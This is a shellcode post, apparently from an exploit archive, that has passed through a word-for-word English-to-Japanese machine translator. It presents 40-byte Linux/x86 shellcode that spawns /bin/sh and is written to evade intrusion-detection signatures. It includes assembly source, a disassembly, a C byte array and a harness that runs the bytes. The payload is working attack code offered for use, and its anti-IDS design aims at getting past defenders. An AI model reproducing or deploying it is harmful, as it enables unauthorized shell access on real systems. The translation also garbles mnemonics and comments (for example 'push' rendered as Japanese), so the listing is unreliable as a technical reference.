このページはEtoJ逐語翻訳フィルタによって翻訳生成されました。

翻訳前ページへ


Linux/x86 - execve /貯蔵所/sh anti-ids 40 bytes
/*
[N] 爆撃する : shellcodez

Arch:x86
壇・綱領・公約:linux
Size:40
Description:
The shellcode to 遂行する/発効させる /貯蔵所/sh;
This shellcode is anti-ids
It not containz encoding engine but it
not 含む/封じ込める standart 署名s as:
	"\xcd\x80"
	'\貯蔵所\sh'
実験(する)d on Slackware 10.0

Coded by [NicatiN]
http://nshell.h15.ru
n_shell@mail.ru


source:
cdq
押し進める edx
pop eax
押し進める edx
mov edi,876189623
追加する edi,edi
押し進める edi
mov edi,884021143
追加する edi,edi
inc edi
押し進める edi
mov ebx,esp
押し進める edx
押し進める ebx
mov ecx,esp
mov al,99
sub al,88
sub edi,1768009314
押し進める edi
call esp

dizasm:
8048080:       99                      cltd
8048081:       52                      押し進める   %edx
8048082:       58                      pop    %eax
8048083:       52                      押し進める   %edx
8048084:       bf b7 97 39 34          mov    $0x343997b7,%edi
8048089:       01 ff                   追加する    %edi,%edi
804808b:       57                      押し進める   %edi
804808c:       bf 97 17 b1 34          mov    $0x34b11797,%edi
8048091:       01 ff                   追加する    %edi,%edi
8048093:       47                      inc    %edi
8048094:       57                      押し進める   %edi
8048095:       89 e3                   mov    %esp,%ebx
8048097:       52                      押し進める   %edx
8048098:       53                      押し進める   %ebx
8048099:       89 e1                   mov    %esp,%ecx
804809b:       b0 63                   mov    $0x63,%al
804809d:       2c 58                   sub    $0x58,%al
804809f:       81 ef 62 ae 61 69       sub    $0x6961ae62,%edi
80480a5:       57                      押し進める   %edi
80480a6:       ff d4                   call   *%esp

*/

char sc[]=
"\x99\x52\x58\x52\xbf\xb7\x97\x39\x34\x01\xff\x57\xbf\x97\x17\xb1"
"\x34\x01\xff\x47\x57\x89\xe3\x52\x53\x89\xe1\xb0\x63\x2c\x58\x81"
"\xef\x62\xae\x61\x69\x57\xff\xd4";

int main()
{
	int (*f)() = (int (*)())sc;
	f();
}